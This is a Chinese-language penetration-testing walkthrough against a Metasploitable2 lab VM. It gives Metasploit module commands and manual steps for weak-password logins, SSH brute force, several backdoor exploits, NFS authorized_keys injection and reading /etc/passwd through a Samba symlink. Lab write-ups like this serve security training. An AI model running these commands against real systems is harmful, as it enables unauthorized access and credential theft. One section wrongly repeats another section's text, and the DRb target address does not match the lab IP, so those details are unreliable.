0x00:弱密码攻击漏洞
这里首先要打开本机的metasploitable2虚拟机,然后获取其ip地址为 192.168.112.129,如图3-0-1所示:
(一)系统弱密码登录
具体过程如下:
- 在kali上执行命令行
telnet 192.168.112.129 23
- login和password都输入msfadmin
- 登录成功,进入系统
结果如图3-1-1所示:
(注:类似弱密码还有user/user、postgres/postgres、sys/batman、klog/123456789、service/service)
(二)MySQL弱密码登录
具体过程如下:
在kali上执行
mysql -h 192.168.112.129 -u root
登录成功,进入mysql系统
使用命令
show databases;
查看有哪些数据库使用命令
use owasp10;
更换当前数据库使用命令
show tables;
发现表后,再使用命令select * from accounts;
可得相关数据库信息
结果如图3-1-2所示:
类似的弱密码漏洞还有PostgreSQL弱密码登录和VNC弱密码登录,原理一致,这里不再继续。
0x01:Samba MS-RPC Shell命令注入漏洞
相关原理如下:
Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。
具体过程如下:
- 在kali中执行
msfconsole
,启动metasploit use exploit/multi/samba/usermap_script
,选择漏洞set RHOST 192.168.112.129
,设置要攻击的机器IPexploit
,开始攻击- 利用成功,执行
uname –a
验证
结果如图3-2-1所示:
0x02:Vsftpd源码包后门漏洞
相关原理如下:
在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以“:)”为结尾,服务器就会在6200端口监听,并且能够执行任意代码。
具体过程如下:
- 在kali中执行
msfconsole
,启动metasploit use exploit/unix/ftp/vsftpd_234_backdoor
,选择漏洞set RHOST 192.168.112.129
,设置要攻击的机器IPexploit
,开始攻击- 利用成功,执行
uname –a
验证
结果如图3-3-1所示:
0x03:UnrealIRCd后门漏洞
相关原理如下:
在2009年11月到2010年6月间分布于某些镜面站点的UnrealIRCd,在DEBUG3_DOLOG_SYSTEM宏中包含外部引入的恶意代码,远程攻击者能够执行任意代码。
具体过程如下:
- 在kali中执行
msfconsole
,启动metasploit use exploit/unix/irc/unreal_ircd_3281_backdoor
,选择漏洞set RHOST 192.168.112.129
,设置要攻击的机器IPexploit
,开始攻击- 利用成功,执行
uname –a
验证
结果如图3-4-1所示:
0x04:Linux NFS共享目录配置漏洞
相关原理如下:
NFS 服务配置漏洞,赋予了根目录远程可写权限,导致/root/.ssh/ authorized_keys可被修改,实现远程ssh无密码登陆。
具体过程如下:
在kali上执行命令行
rpcinfo –p 192.168.112.129
,查看nfs服务有无开启,结果如图3-5-1所示:用
showmount -e 192.168.112.129
查看其设置的远程共享目录列表,结果如图3-5-2所示:输入ssh-keygen生成rsa公钥,结果如图3-5-3所示:
依次输入
mount -t nfs 192.168.112.129:/ /tmp/t00l/
(预先创建),把192.168.112.129的根目录挂载到/tmp/t00l/下;注:如果提示下图中错误则需要/etc/init.d/rpcbind start来启动mountcat /root/.ssh/id_rsa.pub >> /tmp/t00l/root/.ssh/authorized_keys
,把生成的公钥追加到靶机的authorized_keys下;ssh root@192.168.112.129
,实现无密码登陆
结果如图3-5-4所示
0x05:Java RMI SERVER命令执行漏洞
相关原理如下:
Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行。
具体过程如下:
Nmap –p 0-65535 192.168.112.129
来查看1099端口是否开启,结果如图3-6-1所示:依次输入以下命令:
msfconsole
use exploit/multi/misc/java_rmi_server
set RHOST 192.168.112.129
(靶机IP)exploit
(这里会出现一个‘ Exploit failed: RuntimeError Timeout ’的报错,不用管)sessions -1
shell
结果如图3-6-2所示,即得到shell
0x06:Root用户弱口令漏洞(SSH爆破)
相关原理如下:
靶机root用户存在弱口令漏洞,在使用指南里并没有指出。
具体过程如下:
输入
nmap –sV –O 192.168.112.129
,查看SSH端口是否开启,结果如图3-7-1所示:打开metasploit framework依次输入:
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.112.129
set USERNAME msfadmin
set PASS_FILE /tmp/r00t/pass.txt
(字典文件,需要预先生成)set THREADS 50
run
结果如图3-7-2所示:口令爆破出来是 ‘msfadmin’
ssh msfadmin@192.168.112.129
即可成功登录,如图3-7-3所示:
0x07:Distcc后门漏洞
相关原理如下:
Distcc用于大量代码在网络服务器上的分布式编译,但是如果配置不严格,容易被滥用执行命令,该漏洞是XCode 1.5版本及其他版本的distcc 2.x版本配置对于服务器端口的访问不限制。
具体过程如下:
- 在kali中执行
msfconsole
,启动metasploit use exploit/unix/misc/distcc_exec
,选择漏洞set RHOST 192.168.112.129
,设置要攻击的机器IPexploit
,开始攻击- 利用成功,执行id查看权限,
uname –a
验证服务器信息
结果如图3-8-1所示:
0x08:Samba sysmlink 默认配置目录遍历漏洞
相关原理如下:
Distcc用于大量代码在网络服务器上的分布式编译,但是如果配置不严格,容易被滥用执行命令,该漏洞是XCode 1.5版本及其他版本的distcc 2.x版本配置对于服务器端口的访问不限制。Samba是一套实现SMB(server messages block)协议,跨平台进行文件共享和打印共享服务的程序,samba的sambd默认配置在可写文件共享时,存在目录遍历漏洞,远程用户可以通过smbclient端使用一个对称命,创建一个包含..的目录遍历符的软连接 ,可以进行目录遍历以及访问任意文件。
具体过程如下:
- 在kali中执行
msfconsole
,启动metasploit use auxiliary/admin/smb/samba_symlink_traversal
,选择漏洞set RHOST 192.168.112.129
,设置要攻击的机器IPmsf auxiliary(samba_symlink_traversal) > set SMBSHARE tmp
设置SAM可写文件exploit
,开始攻击root@yd0str:~# smbclient //192.168.112.129/tmp
在新窗口下执行smbclient命令打开上面生成的共享目录smb: \> cd rootfs
进入rootfs目录smb: \rootfs\> ls
执行ls命令列出目录,smb: \rootfs\> more /etc/passwd
列出密码文件,利用成功
结果如图3-9-1和3-9-2所示:
0x09:PHP CGI参数注入执行漏洞
相关原理如下:
CGI脚本没有正确处理请求参数,导致源代码泄露,允许远程攻击者在请求参数中插入执行命令。
具体过程如下:
- 在kali中执行
msfconsole
,启动metasploit use exploit/multi/http/php_cgi_arg_injection
,选择漏洞set RHOST 192.168.112.129
,设置要攻击的机器IPexploit
,开始攻击ls
获得meterpreter,可执行ls列出目录确认承认
结果如图3-10-1所示:
0x0A:Druby 远程代码执行漏洞
相关原理如下:
Druby配置不当,被滥用执行命令(Distributed Ruby or DRb allows Ruby programs to communicate with each other on the same machine or over a network. DRb uses remote method invocation (RMI) to pass commands and data between processes)
具体过程如下:
nmap -p 0-65535 -sS -sV 192.168.112.129
,NMAP扫描端口及端口应用
(或者amap -bqv 192.168.112.129 8787)- 在kali中执行
msfconsole
,启动metasploit - 发现8787druby端口
search drb
搜索dbr相关漏洞use exploit/linux/misc/drb_remote_codeexec
使用漏洞set URI druby://7.7.5.255:8787
,设置要攻击的机器的druby链接exploit
,开始攻击- 输入id, uname -a确认
结果如图3-11-1和3-11-2所示:
0x0B:Ingreslock后门漏洞
相关原理如下:
Ingreslock后门程序监听在1524端口,连接到1524端口就可以直接获得root权限。
具体过程如下:
- 在kali中执行命令行
telnet 192.168.112.129 1524
- 获得root权限
- 执行
uname –a
验证
结果如图3-12-1所示:
0x0C:Rlogin后门漏洞
相关原理如下:
TCP端口512,513和514为著名的rlogin提供服务。在系统中被错误配置从而允许远程访问者从任何地方访问(标准的,rhosts + +)。要利用这个配置,确保rsh客户端已经安装(在linux操作系统上安装例如Open SSH),然后以root权限运行下列命令,如果被提示需要一个SSH秘钥,这表示rsh客户端没有安装,ubuntu一般默认使用SSH(Debian GNU/Linux也是如此)。
具体过程如下:
- 在kali中执行命令行
nmap -sV 192.168.112.129
发现513端口存在该漏洞 - 使用
apt-get install rsh-client
安装相关软件 rlogin -l root -p 513 192.168.112.129
即获得root
wget -q -O - https://archive.kali.org/archive-key.asc | apt-key add
换源一直不成功的就可以试试这个。
结果如图3-13-1和3-13-2所示: